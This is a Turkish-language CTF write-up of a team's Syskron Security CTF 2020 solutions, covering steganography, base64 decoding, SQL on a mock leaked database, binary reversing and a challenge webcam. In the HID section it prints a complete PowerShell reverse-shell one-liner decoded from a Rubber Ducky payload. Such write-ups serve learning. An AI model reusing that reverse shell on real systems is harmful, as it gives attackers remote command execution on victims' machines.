Syskron Security CTF 2020 Çözümleri - TR
Merhabalar,
21-26 Ekim arasında gerçekleştirilen Syskron Security CTF 2020‘e takım olarak katıldık.
Yarışmayı 3420
puanla 23.
olarak tamamladık.
Aşağıda yarışma dahilinde çözdüğümüz soruları bulabilirsiniz.
Keyifli okumalar.
AUCC @EbubekirTurker
Welcome
(20) Welcome ~reading
Soru: pdf dosyası
Bize verilen pdf dosyasını açıp okuduğumuzda flagı buluyoruz.
Flag : syskronCTF{th4nk-you}
Check Digit
(25) # Trivia ~standard
Soru:
Google’da IEC standard imei check digit sorgusunu aratırsanız karşınıza Luhn Algorithm çıkmakta. Burada da bize sorulan ISO standardı bulunmakta.
Flag : syskronCTF{ISO/IEC-7812}
Deadly Malware
(25) # Trivia ~malware
Soru:
Google’da malware that caused deaths due to explosion şeklinde arama yaparsak, top-5-most-dangerous-industrial-cyberattacks sitesi karşımıza çıkıyor.
Burdaki zararlılardan soruya en uygunu triton.
Flag : syskronCTF{triton}
Security framework
(25) # Trivia ~framework ~standard
Soru:
Google’da nist securty framework 1.1 aramasını yaptığımızda çıkan pdf dosyasını okursak, sayfa 21’deki tabloadan 5 core functions‘u ve kısaltmalarını bulabiliyoruz.
Flag : syskronCTF{ID-PR-DE-RS-RC}
Vulnerable RTOS
(25) # Trivia ~vulnerability
Soru:
Google’da 11 zero-day vulnerabilities aramasını yapınca flag’ımızı ilk aramada buluyoruz.
Flag : syskronCTF{URGENT/11}
DoS attack
(100) # Monday ~packet-analysis
Soru: pcap dosyası
Bu soru için bir adet hint aldık. Hint ise They bought some older SIPROTEC 4 protection relays. idi.
Google’da SIPROTEC 4 DoS attack malware , diye aratırsak bu wikipedia sayfasını buluyorduk.
Flag : syskronCTF{Industroyer}
Redacted news
(100) # Monday ~forensics
Soru: Resim
Soruda ek olarak verilen resimde sansürlü bir alan vardı.
Resmi stegsolve.jar ile açıp renk kanalları ile oynadığımızda flag gözüküyordu.
Flag : syskronCTF{d0-Y0u-UNdEr5TaND-C2eCh?}
Security headers
(100) # Monday ~web
Soru: web sitesi- http://www.senork.de
Chrome’da Geliştirici Araçlarındaki Network kısmını açıp, soruda verilen siteye gittiğimizde, flag’ın response headerında olduğunu görmekteydik.
Flag : syskronCTF{y0u-f0und-a-header-flag}
Bash history
(200) # Tuesday ~forensics
Soru: bash history
Verilen dosyayı açıp baktığımızda çoğu komutlar normal iken bazılarının base64 ile decode edilmiş hashler içerdiğini gördük.
CyberChef sitesinde şu tarifi kullanarak, tüm hashleri çevirdik.
İki tanesi ilgimizi çekti. İlki ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNU idi. Çünkü bunu decode ettiğimizde echo c3lza3JvbkNURnt0SGV5 çıkıyordu, Çıkan c3lza3JvbkNURnt0SGV5‘ı tekrar decode edersek flagin ilk parçasının yani syskronCTF{tHey‘ın çıktığını gördük.
İkincisi ise xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ== idi. Sonundaki eşittirlerden base64 olduğuna neredeyse emindik ama hiçbir şekilde decode edilmiyordu.
Flagin ilk kısmını bulduğumuzdan acaba xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ== , ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNU in devamı mı diye düşündük ve ikisini uc uca ekleyip
ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNUxYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ==
i elde ettik.
Elde ettiğimiz hashı decode edersek,
echo c3lza3JvbkNURnt0SGV5LXN0MGxlLWFsbC1EYXRhISF9
çıkıyordu, çıkan sonuçtaki hashi tekrar decode ettiğimizde flagı bulduk.
Flag : syskronCTF{tHey-st0le-all-Data!!}
Change
(200) # Tuesday ~forensics
Soru: change.jpg
Bize verilen resme, exiftool da aşağıdaki komutla ile baktık
exiftool change.jpg
Sonuçlardaki copyright bölümünde şu javascript kodu vardı.
Bu kodu Chrome Geliştirici Seçeneklerindeki Console ekranında çalıştırarak flagı bulduk.
Flag : syskronCTF{l00k5l1k30bfu5c473dj5}
Leak audit
(200) # Tuesday ~sql
Soru: Ek dosyası
Bize verilen .db uzantılı dosyayı DB Browser programı ile açtık.
Sorudaki her bir seçenek için aşağıdaki sorguları yaptık
1) How many employee records are in the file?
select count(*) from personal
2) Are there any employees that use the same password? (If true, send us the password for further investigation.)
SELECT *, COUNT(*) FROM personal GROUP BY password HAVING COUNT(*) > 1
3)In 2017, we switched to bcrypt to securely store the passwords. How many records are protected with bcrypt?
select count(*) from personal where password REGEXP '^\$2[ayb]\$.{56}$'
bcrypt regex’ini stackoverflow sorusundan aldık.
Flag : 376_mah6geiVoo_21
Security.txt
(200) # Tuesday ~best-practices
Soru:
Bize verilen siteler https://tools.ietf.org/html/draft-foudil-securitytxt-10 ve https://www.senork.de/.well-known/security.txt idi Eğer ikinci siteye ulaşamıyorsanız txt dosyası şurada
Buradaki public key ‘ in detaylarını gpg ile görmek için aşağıdaki komutu çalıştırıyoruz. Eğer yukarıdaki link kırık ise public keye buradan ulaşabilirsiniz
gpg openpgp.asc
Flag burada.
Flag : syskronCTF{Wh0-put3-flag3-1nto-0penPGP-key3???}
HID
(300) # Wednesday ~binary-analysis
Soru: inject.bin
Bunun usb rubberducky ile alakalı olduğunu düşündük. Bu yüzden ducktoolkit sitesinde verilen binary dosyasını Almanca klavye düzeninde decode ettik.
Çıkan sonuçta bir pastebin linki vardı. Eğer Almanca klavye düzeninde yapmazsanız bu link yanlış oluyordu.
Flag pastebin linkinde idi.
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10syskronCTF{y0u_f0und_m3}",80);$stream = $client.GetStream();[byte[)$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Flag : syskronCTF{y0u_f0und_m3}
Key generator
(300) # Wednesday ~reverse-engineering
Soru: keygen
Bize verilen dosya 64 bit ELF dosyası idi.
Aşağıdaki resim gibi çalışıyordu, bizden input istiyor ve bize key oluşturuyordu.
Incelemek için ghidra ile açtık, genserial
fonksiyonunda girilen inputun 0x6c61736b612121
olup olmadığı kontrol ediliyordu.
Eğer oysa octal
fonksiyonu çağrılıyordu.
0x6c61736b612121
i şu cyberChef tarifinde asciiye çevirdik
ve gizli inputun laska!!
olduğunu bulduk.
Daha sonra keygen
i bu input ile çalıştırdık.
Bize kod üretmek yerine uzunca bir çıktı verdi.
1639171916391539162915791569103912491069173967911091119123955915191639156967955916396391439125916296395591439609104911191169719175
octal
fonskiyonuna ghidrada bakarsak, DAT_00102060
daki veriler local_218
değişkenine kopyalanıyordu
Aşağıdaki ikinci while de ise local_218
in her 4. karakterini bastırıyordu.
Fonksiyon adının octal
olmasından dolayı, bu çıktının octal
olması gerektiğini ve buradaki 9
ların da ayraç olduğunu düşündük.
Çünkü 8lik formatta 9 yoktur. Ayrıca ilk 3 sayıyın ascii’ leri de s,y,s veriyordu.
Tüm bunları karşılayan bir python scripti yazdık.
arr="163917191639153916291579156910391249106917396791109111912395591519163915696795591639639143912591629639559143960910491119116
9719175"
for i in arr.split('9'):
print(chr(int(i,8)),end="")
print()
Vee flagimiz çıktı.
Flag : syskronCTF{7HIS-isn7-s3cUr3-c0DIN9}
Screenshot
(300) # Wednesday ~image-analysis
Soru: Screenshot_2020-05-19_at_11.38.08_AM.png
even if it's not that significant
ifadesinden sorunun LSB(Least Significant Bit ) ile alakalı olduğunu anlıyoruz.
Resmi stegsolve.jar ile açıp plane
lere bakarsak
Red plane 1
de aşağıdaki mesajı görüyoruz.Sorunun LSB ile alakalı olduğunun ikinci bir kanıtı.
Ayrıca Green plane 0
da iki mesaj görüyoruz, birincisi en sağ altta
ikincisi üst ortada. İkincisi dikey olduğundan sanki bize column odakli bir LSB varmış gibi izlenim veriyor.
stegsolve uygulamasında extract
kısmında aşağıdaki seçeneklerle veriyi çıkartıyoruz. Green plane 0
, LSB
, Column
Çıktı dosyasında ‘s’ karakterini aradığımızda flagi buluyoruz.
Flag : syskronCTF{s3cr3T_m3sS4g3}
Contact card
(400) # Thursday ~malware
Soru: confidential.zip
pass
: edeb142
Biraz araştırma sonucunda bu sorunun şuradaki makale ile alakalı olduğunu düşündük.
ve .contact
dosyaları içinde vsCode yardımı ile http.\\
aradık.
Maximilian Baecker.contact
adındaki dosyada kullanılıyordu ve http
klasöründeki www.random4.cpl
i açıyordu.
www.random4.cpl
dosyası aslında 32 bit windows executable’ıydı.
Belirtilen contact dosyasında oraya tıklarsak bir popup çıkıyordu ve bizi pastebine yönlendiriyordu.
Flag : syskronCTF{n3v3r_c11ck_unkn0wn_11nk5}
Exposed webcam
(400) # Thursday ~webcam
Soru:
verilen sitede karşımıza bir kamera çıkıyordu
configration->maintenance->reboot
yolunu izleyerek kamerayı yeniden başlattığımızda
bizi hata sayfasına yönlendiriyordu.
Bu sitedeki hata kodu
Li4vYmFja3VwXzIwMjAvMjAyMC0xMC0yMC1yb290LXJlc3RvcmUuYmFja3Vw
idi.
Bunu şu cyberChef tarifinde
decode ettik. Sonuç ../backup_2020/2020-10-20-root-restore.backup
çıkıyordu.
Çıkan sonuç bir dosya yoluna benzediğinden bu linkten backup dosyası çıkıyordu. Bu dosya aslında şifreli bir zip dosyasıydı. Yukarıdaki link kırık ise buradan indirebilirsiniz.
Şifre araştırmasına başladık. View parameters
sayfasında testuser
‘in şifresini bulduk.
mmDi54YChNNYNMQM9y9PH48uKVcMQX
. Ama bu backup’un şifresi değildi.
İkinci olarak security
sayfasında *‘lar ile gizlenmiş bir şifre vardı. Ögeyi inceleden baktık ve bu backup dosyasının şifresiydi.
Backup dosyasını dYzqmTkKv457BENsKBGSfD5vcudrXe
ile çıkardığımızda içinden testuser.backup
çıkıyordu.
Çıkan dosya da şifreli bir zip dosyası idi neyseki onun şifresini daha önceden bulmuştuk , dYzqmTkKv457BENsKBGSfD5vcudrXe
.
Bundan da testuser.backup
çıkıyordu ve sonunda bu içinde flag olan normal bir dosyaydı.
Flag : syskronCTF{why-1s-th1s-file-here?}
Firmware update
(500) # Friday ~reverse-engineering ~crypto
Soru: LibrePLC_firmware_pack.zip
Note: 5157CA3SDGF463249FBF
Verilen zip dosyasından 3 tane şifreli zip dosyası çıktı.
İlkinin flagı soruda Note kısmında verilen 5157CA3SDGF463249FBF
idi.
İlk dosyayı açtık, 2 dosya vardı. key
dosyası python dilinde yazılmış bir koddu ve bizden bir arguman ile
çalıştırmamızı bekliyordu.
Aşağıdaki komut ile çalıştırdığımızda
python3 LibrePLC_fw_1.0.0/key LibrePLC_fw_1.0.0/LibrePLC_fw_1.0.0.bin
7SYSCC3076BDCTF13CC9CTFA6CB7SYSCC3076CD56579549EC5AB533EN03AFC1F9N
çıktısını üretiyordu ve bu ikinci zip dosyasının şifresiydi.
İkinci dosyada bi dosya vardı ve önceki çalıştırdığımız komutu bu dosyaya karşı kullandık. Bu da
CSYS0BBA60E46ABB19C5BC0CSYS0CCK60EQ1NC41E2C5DDA4C5C7D45E096162
çıktısını üretti. Ve bu çıktı 3.zip dosyasının şifresiydi.
Sonuncu zip dosyasınını da çıkarınca bize yine öncekilere benzer bi dosya verdi. Hex editor ile açtığımızda flag en üstte karşımızadaydı.
head -n 2 ./LibrePLC_fw_1.0.2/LibrePLC_fw_1.0.2.bin| xxd
Flag : syskronCTF{s3Cur3_uPd4T3}